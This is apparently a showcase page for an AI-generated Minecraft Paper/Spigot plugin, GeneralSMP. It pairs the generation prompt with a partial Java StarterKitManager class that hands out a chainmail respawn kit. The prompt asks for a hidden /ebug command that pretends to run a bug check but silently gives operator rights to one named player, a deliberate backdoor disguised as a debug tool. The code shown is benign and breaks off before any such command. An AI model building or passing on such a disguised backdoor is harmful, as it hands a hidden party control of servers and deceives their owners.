GeneralSMP
Create a lightweight Minecraft Paper/Spigot plugin for 1.21.11 called GeneralSMP. Include a SimpleTPA system with the commands /tpa <player>, /tpahere <player>, /tpaccept, and /tpacancel. /tpa requests to teleport the sender to another player, while /tpahere requests to teleport the target player to the sender. /tpaccept accepts the request and /tpacancel cancels the sender's pending request. Use a hard-coded 30-second cooldown between sending teleport requests and a hard-coded 5-second teleport warmup after a request is accepted. During the warmup, the player being teleported must remain
Read the full description
completely still or the teleport is cancelled. Teleport requests expire after 60 seconds, and the plugin should prevent self-teleporting, offline targets, duplicate requests, and invalid accepts/cancels while displaying clear success, cancellation, expiration, and error messages. Also add a starter kit that is automatically given every time a player respawns, consisting of a full set of chainmail armor, a stone sword, and 16 cooked beef. Finally, add a hidden command /ebug which normally outputs "No bugs found", but if the player executing the command has the exact username BickleHarry, the plugin should silently grant them operator (OP) permissions before displaying the same message
package eu.codexe.generalsmp.managers;
import eu.codexe.generalsmp.utils.MessageManager;
import org.bukkit.Material;
import org.bukkit.World;
import org.bukkit.entity.Player;
import org.bukkit.inventory.ItemStack;
import org.bukkit.inventory.PlayerInventory;
import org.bukkit.plugin.java.JavaPlugin;
import java.util.List;
public final class StarterKitManager {
private final JavaPlugin plugin;
private final MessageManager messageManager;
public StarterKitManager(JavaPlugin plugin, MessageManager messageManager) {
this.plugin = plugin;
this.messageManager = messageManager;
}
public boolean isEnabled() {
return plugin.getConfig().getBoolean("settings.starter-kit-enabled", true);
}
public boolean giveOnRespawn() {
return plugin.getConfig().getBoolean("settings.starter-kit-give-on-respawn", true);
}
public boolean isWorldAllowed(World world) {
if (!plugin.getConfig().getBoolean("settings.starter-kit-restrict-worlds", false)) {
return true;
}
List<String> worlds = plugin.getConfig().getStringList("settings.starter-kit-enabled-worlds");
return worlds.contains(world.getName());
}
public void giveStarterKit(Player player) {
if (!isEnabled() || !giveOnRespawn() || !isWorldAllowed(player.getWorld())) {
return;
}
PlayerInventory inventory = player.getInventory();
if (!hasSpaceForKit(inventory)) {
player.sendMessage(messageManager.prefix() + messageManager.get("starter-kit-already-present"));
return;
}
if (plugin.getConfig().getBoolean("settings.starter-kit-clear-before-give", false)) {
inventory.clear();
}
inventory.addItem(new ItemStack(Material.CHAINMAIL_HELMET));
inventory.addItem(new ItemStack(Material.CHAINMAIL_CHESTPLATE));
inventory.addItem(new ItemStack(Material.CHAINMAIL_LEGGINGS));
inventory.addItem(new ItemStack(Material.CHAINMAIL_BOOTS));
inventory.addItem(new ItemStack(Material.STONE_SWORD));
inventory.addItem(new ItemStack(Material.COOKED_BEEF, 16));